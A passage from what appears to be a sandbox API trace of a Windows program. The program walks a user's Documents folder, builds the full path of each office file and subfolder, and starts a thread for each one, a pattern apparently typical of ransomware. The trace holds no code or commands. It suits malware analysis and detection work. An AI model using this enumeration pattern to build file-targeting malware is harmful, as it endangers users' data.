lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0051.617] wcscmp (_String1="My Videos", _String2=".") returned 1 [0051.617] wcscmp (_String1="My Videos", _String2="..") returned 1 [0051.617] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x43c390 [0051.617] wcscpy (in: _Dest=0x43c390, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0051.617] wcscat (in: _Dest=0x43c390, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0051.617] wcscat (in: _Dest=0x43c390, _Source="My Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos" [0051.617] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43c390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd90 [0051.618] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44b3c950, ftCreationTime.dwHighDateTime=0x1d4d34e, ftLastAccessTime.dwLowDateTime=0x6cd21a80, ftLastAccessTime.dwHighDateTime=0x1d4d39a, ftLastWriteTime.dwLowDateTime=0x6cd21a80, ftLastWriteTime.dwHighDateTime=0x1d4d39a, nFileSizeHigh=0x0, nFileSizeLow=0x6c7f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="N0UT9TTyc3.ppt", cAlternateFileName="N0UT9T~1.PPT")) returned 1 [0051.618] wcscmp (_String1="N0UT9TTyc3.ppt", _String2=".") returned 1 [0051.618] wcscmp (_String1="N0UT9TTyc3.ppt", _String2="..") returned 1 [0051.618] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5ed5c88 [0051.618] wcscpy (in: _Dest=0x5ed5c88, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0051.618] wcscat (in: _Dest=0x5ed5c88, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0051.618] wcscat (in: _Dest=0x5ed5c88, _Source="N0UT9TTyc3.ppt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\N0UT9TTyc3.ppt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\N0UT9TTyc3.ppt" [0051.618] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ed5c88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd94 [0051.620] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2119ef40, ftCreationTime.dwHighDateTime=0x1d4c653, ftLastAccessTime.dwLowDateTime=0x6dd8ccd0, ftLastAccessTime.dwHighDateTime=0x1d4d0c0, ftLastWriteTime.dwLowDateTime=0x6dd8ccd0, ftLastWriteTime.dwHighDateTime=0x1d4d0c0, nFileSizeHigh=0x0, nFileSizeLow=0x12f1f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ni1jZ.xlsx", cAlternateFileName="NI1JZ~1.XLS")) returned 1 [0051.620] wcscmp (_String1="Ni1jZ.xlsx", _String2=".") returned 1 [0051.620] wcscmp (_String1="Ni1jZ.xlsx", _String2="..") returned 1 [0051.620] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x43c400 [0051.620] wcscpy (in: _Dest=0x43c400, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0051.620] wcscat (in: _Dest=0x43c400, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0051.620] wcscat (in: _Dest=0x43c400, _Source="Ni1jZ.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ni1jZ.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ni1jZ.xlsx" [0051.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43c400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd98 [0051.621] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0051.621] wcscmp (_String1="Outlook Files", _String2=".") returned 1 [0051.621] wcscmp (_String1="Outlook Files", _String2="..") returned 1 [0051.621] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x5ed5d00 [0051.621] wcscpy (in: _Dest=0x5ed5d00, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0051.621] wcscat (in: _Dest=0x5ed5d00, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0051.622] wcscat (in: _Dest=0x5ed5d00, _Source="Outlook Files" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files" [0051.622] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ed5d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd9c [0051.623] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58d7e70, ftCreationTime.dwHighDateTime=0x1d52d6a, ftLastAccessTime.dwLowDateTime=0xb05defa0, ftLastAccessTime.dwHighDateTime=0x1d5868b, ftLastWriteTime.dwLowDateTime=0xb05defa0, ftLastWriteTime.dwHighDateTime=0x1d5868b, nFileSizeHigh=0x0, nFileSizeLow=0x219e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QOGb.docx", cAlternateFileName="QOGB~1.DOC")) returned 1 [0051.623] wcscmp (_String1="QOGb.docx", _String2=".") returned 1 [0051.623] wcscmp (_String1="QOGb.docx", _String2="..") returned 1 [0051.623] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x43c470 [0051.623] wcscpy (in: _Dest=0x43c470, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0051.623] wcscat (in: _Dest=0x43c470, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0051.623] wcscat (in: _Dest=0x43c470, _Source="QOGb.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QOGb.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QOGb.docx" [0051.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43c470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xda0 [0051.624] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cf2b00, ftCreationTime.dwHighDateTime=0x1d4c808, ftLastAccessTime.dwLowDateTime=0x85adfaa0, ftLastAccessTime.dwHighDateTime=0x1d4ca90, ftLastWriteTime.dwLowDateTime=0x85adfaa0, ftLastWriteTime.dwHighDateTime=0x1d4ca90, nFileSizeHigh=0x0, nFileSizeLow=0x8543, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun6Qd.odt", cAlternateFileName="")) returned 1 [0051.624] wcscmp (_String1="Sun6Qd.odt", _String2=".") returned 1 [0051.624] wcscmp (_String1="Sun6Qd.odt", _String2="..") returned 1 [0051.625] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x43c4e0 [0051.625] wcscpy (in: _Dest=0x43c4e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0051.625] wcscat (in: _Dest=0x43c4e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0051.625] wcscat (in: _Dest=0x43c4e0, _Source="Sun6Qd.odt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sun6Qd.odt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sun6Qd.odt" [0051.625] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x43c4e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xda4 [0051.626] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd07527a0, ftCreationTime.dwHighDateTime=0x1d5680d, ftLastAccessTime.dwLowDateTime=0xcf6997e0, ftLastAccessTime.dwHighDateTime=0x1d541a9, ftLastWriteTime.dwLowDateTime=0xcf6997e0, ftLastWriteTime.dwHighDateTime=0x1d541a9, nFileSizeHigh=0x0, nFileSizeLow=0xab30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TJa mzINn6ar8yN.pptx", cAlternateFileName="TJAMZI~1.PPT")) returned 1 [0051.626] wcscmp (_String1="TJa mzINn6ar8yN.pptx", _String2=".") returned 1 [0051.626] wcscmp (_String1="TJa mzINn6ar8yN.pptx", _String2="..") returned 1 [0051.626] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x4467f8 [0051.626] wcscpy (in: _Dest=0x4467f8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0051.626] wcscat (in: _Dest=0x4467f8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0051.626] wcscat (in: _Dest=0x4467f8, _Source="TJa mzINn6ar8yN.pptx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TJa mzINn6ar8yN.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TJa mzINn6ar8yN.pptx" [0051.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4467f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xda8 [0051.628] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2fba010, ftCreationTime.dwHighDateTime=0x1d4d0de, ftLastAccessTime.dwLowDateTime=0xd8601770, ftLastAccessTime.dwHighDateTime=0x1d4ca44, ftLastWriteTime.dwLowDateTime=0xd8601770, ftLastWriteTime.dwHighDateTime=0x1d4ca44, nFileSizeHigh=0x0, nFileSizeLow=0x14b56, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UAixvUB6xdQt.ots", cAlternateFileName="UAIXVU~1.OTS")) returned 1 [0051.628] wcscmp (_String1="UAixvUB6xdQt.ots", _String2=".") returned 1 [0051.628] wcscmp (_String1="UAixvUB6xdQt.ots", _String2="..") returned 1 [0051.628] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x400618 [0051.628] wcscpy (in: _Dest=0x400618, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0051.628] wcscat (in: _Dest=0x400618, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0051.628] wcscat (in: _Dest=0x400618, _Source="UAixvUB6xdQt.ots" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UAixvUB6xdQt.ots") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UAixvUB6xdQt.ots" [0051.628] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdac [0051.630] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09b22d0, ftCreationTime.dwHighDateTime=0x1d4d086, ftLastAccessTime.dwLowDateTime=0x45ef5170, ftLastAccessTime.dwHighDateTime=0x1d4d50d, ftLastWriteTime.dwLowDateTime=0x45ef5170, ftLastWriteTime.dwHighDateTime=0x1d4d50d, nFileSizeHigh=0x0, nFileSizeLow=0x17fdf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VcBemMZT6g2ocMWtTQ9M.odt", cAlternateFileName="VCBEMM~1.ODT")) returned 1 [0051.630] wcscmp (_String1="VcBemMZT6g2ocMWtTQ9M.odt", _String2=".") returned 1 [0051.630] wcscmp (_String1="VcBemMZT6g2ocMWtTQ9M.odt", _String2="..") returned 1 [0051.630] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x417e00 [0051.630] wcscpy (in: _Dest=0x417e00, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0051.630] wcscat (in: _Dest=0x417e00, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0051.630] wcscat (in: _Dest=0x417e00, _Source="VcBemMZT6g2ocMWtTQ9M.odt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VcBemMZT6g2ocMWtTQ9M.odt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VcBemMZT6g2ocMWtTQ9M.odt" [0051.630] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x417e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdb0 [0051.631] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69f7e890, ftCreationTime.dwHighDateTime=0x1d4d533, ftLastAccessTime.dwLowDateTime=0x6261ff20, ftLastAccessTime.dwHighDateTime=0x1d4c5bc, ftLastWriteTime.dwLowDateTime=0x6261ff20, ftLastWriteTime.dwHighDateTime=0x1d4c5bc, nFileSizeHigh=0x0, nFileSizeLow=0x3350, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Vg73EGcGec-L-sJjnA.ppt", cAlternateFileName="VG73EG~1.PPT")) returned 1 [0051.631] wcscmp (_String1="Vg73EGcGec-L-sJjnA.ppt", _String2=".") returned 1 [0051.631] wcscmp (_String1="Vg73EGcGec-L-sJjnA.ppt", _String2="..") returned 1 [0051.631] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x447dc0 [0051.631] wcscpy (in: _Dest=0x447dc0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0051.631] wcscat (in: _Dest=0x447dc0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0051.631] wcscat (in: _Dest=0x447dc0, _Source="Vg73EGcGec-L-sJjnA.ppt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vg73EGcGec-L-sJjnA.ppt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vg73EGcGec-L-sJjnA.ppt" [0051.632] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x447dc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdb4 [0051.633] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b55d5e0, ftCreationTime.dwHighDateTime=0x1d577d8, ftLastAccessTime.dwLowDateTime=0xf466a300, ftLastAccessTime.dwHighDateTime=0x1d5322a, ftLastWriteTime.dwLowDateTime=0xf466a300, ftLastWriteTime.dwHighDateTime=0x1d5322a, nFileSizeHigh=0x0, nFileSizeLow=0xabb2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WNszWi0-Z8B7Pw32db1n.pptx", cAlternateFileName="WNSZWI~1.PPT")) returned 1 [0051.633] wcscmp (_String1="WNszWi0-Z8B7Pw32db1n.pptx", _String2=".") returned 1 [0051.633] wcscmp (_String1="WNszWi0-Z8B7Pw32db1n.pptx", _String2="..") returned 1 [0051.633] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x416ff0 [0051.633] wcscpy (in: _Dest=0x416ff0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0051.633] wcscat (in: _Dest=0x416ff0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0051.633] wcscat (in: _Dest=0x416ff0, _Source="WNszWi0-Z8B7Pw32db1n.pptx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WNszWi0-Z8B7Pw32db1n.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WNszWi0-Z8B7Pw32db1n.pptx" [0051.633] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x416ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdb8 [0051.634] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318d3b70, ftCreationTime.dwHighDateTime=0x1d4d418, ftLastAccessTime.dwLowDateTime=0xc60e9990, ftLastAccessTime.dwHighDateTime=0x1d4d271, ftLastWriteTime.dwLowDateTime=0xc60e9990, ftLastWriteTime.dwHighDateTime=0x1d4d271, nFileSizeHigh=0x0, nFileSizeLow=0x453a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X40D_1yxA.ots", cAlternateFileName="X40D_1~1.OTS")) returned 1 [0051.634] wcscmp (_String1="X40D_1yxA.ots", _String2=".") returned 1 [0051.634] wcscmp (_String1="X40D_1yxA.ots", _String2="..") returned 1 [0051.634] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x5ed5d78 [0051.634] wcscpy (in: _Dest=0x5ed5d78, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0051.634] wcscat (in: _Dest=0x5ed5d78, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0051.634] wcscat (in: _Dest=0x5ed5d78, _Source="X40D_1yxA.ots" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\X40D_1yxA.ots") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\X40D_1yxA.ots" [0051.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ed5d78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdbc [0051.635] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88e7f5c0, ftCreationTime.dwHighDateTime=0x1d5750f, ftLastAccessTime.dwLowDateTime=0xa415b9b0, ftLastAccessTime.dwHighDateTime=0x1d5739b, ftLastWriteTime.dwLowDateTime=0xa415b9b0, ftLastWriteTime.dwHighDateTime=0x1d5739b, nFileSizeHigh=0x0, nFileSizeLow=0xd224, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XO6Uc7RxdV.docx", cAlternateFileName="XO6UC7~1.DOC")) returned 1 [0051.636] wcscmp (_String1="XO6Uc7RxdV.docx", _String2=".") returned 1 [0051.636] wcscmp (_String1="XO6Uc7RxdV.docx", _String2="..") returned 1 [0051.636] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed5df0 [0051.636] wcscpy (in: _Dest=0x5ed5df0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0051.636] wcscat (in: _Dest=0x5ed5df0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0051.636] wcscat (in: _Dest=0x5ed5df0, _Source="XO6Uc7RxdV.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XO6Uc7RxdV.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XO6Uc7RxdV.docx" [0051.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ed5df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc0 [0051.637] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0282c80, ftCreationTime.dwHighDateTime=0x1d4cad0, ftLastAccessTime.dwLowDateTime=0x3ffd5650, ftLastAccessTime.dwHighDateTime=0x1d4cb70, ftLastWriteTime.dwLowDateTime=0x3ffd5650, ftLastWriteTime.dwHighDateTime=0x1d4cb70, nFileSizeHigh=0x0, nFileSizeLow=0xea8c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XOtwIUWuu0s.pptx", cAlternateFileName="XOTWIU~1.PPT")) returned 1 [0051.637] wcscmp (_String1="XOtwIUWuu0s.pptx", _String2=".") returned 1 [0051.637] wcscmp (_String1="XOtwIUWuu0s.pptx", _String2="..") returned 1 [0051.637] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x12e08418 [0051.637] wcscpy (in: _Dest=0x12e08418, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0051.637] wcscat (in: _Dest=0x12e08418, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0051.637] wcscat (in: _Dest=0x12e08418, _Source="XOtwIUWuu0s.pptx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XOtwIUWuu0s.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XOtwIUWuu0s.pptx" [0051.637] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc4 [0051.638] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d4e200, ftCreationTime.dwHighDateTime=0x1d4ce94, ftLastAccessTime.dwLowDateTime=0x159f96d0, ftLastAccessTime.dwHighDateTime=0x1d4d574, ftLastWriteTime.dwLowDateTime=0x159f96d0, ftLastWriteTime.dwHighDateTime=0x1d4d574, nFileSizeHigh=0x0, nFileSizeLow=0xfc0a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xpxDNHO2UPjQQaq.odt", cAlternateFileName="XPXDNH~1.ODT")) returned 1 [0051.638] wcscmp (_String1="xpxDNHO2UPjQQaq.odt", _String2=".") returned 1 [0051.638] wcscmp (_String1="xpxDNHO2UPjQQaq.odt", _String2="..") returned 1 [0051.638] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x12e08498 [0051.638] wcscpy (in: _Dest=0x12e08498, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents" [0051.638] wcscat (in: _Dest=0x12e08498, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0051.638] wcscat (in: _Dest=0x12e08498, _Source="xpxDNHO2UPjQQaq.odt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xpxDNHO2UPjQQaq.odt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xpxDNHO2UPjQQaq.odt" [0051.638] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e08498, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc8 [0051.640] FindNextFileW (in: hFindFile=0x40a128, lpFindFileData=0x42e458 | out: lpFindFileData=0x42e458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bedb650, ftCreationTime.dwHighDateTime=0x1d4cbeb, ftLastAccessTime.dwLowDateTime=0x2376e7d0, ftLastAccessTime.dwHighDateTime=0x1d4cc42, ftLastWriteTime.dwLowDateTime=0x2376e7d0, 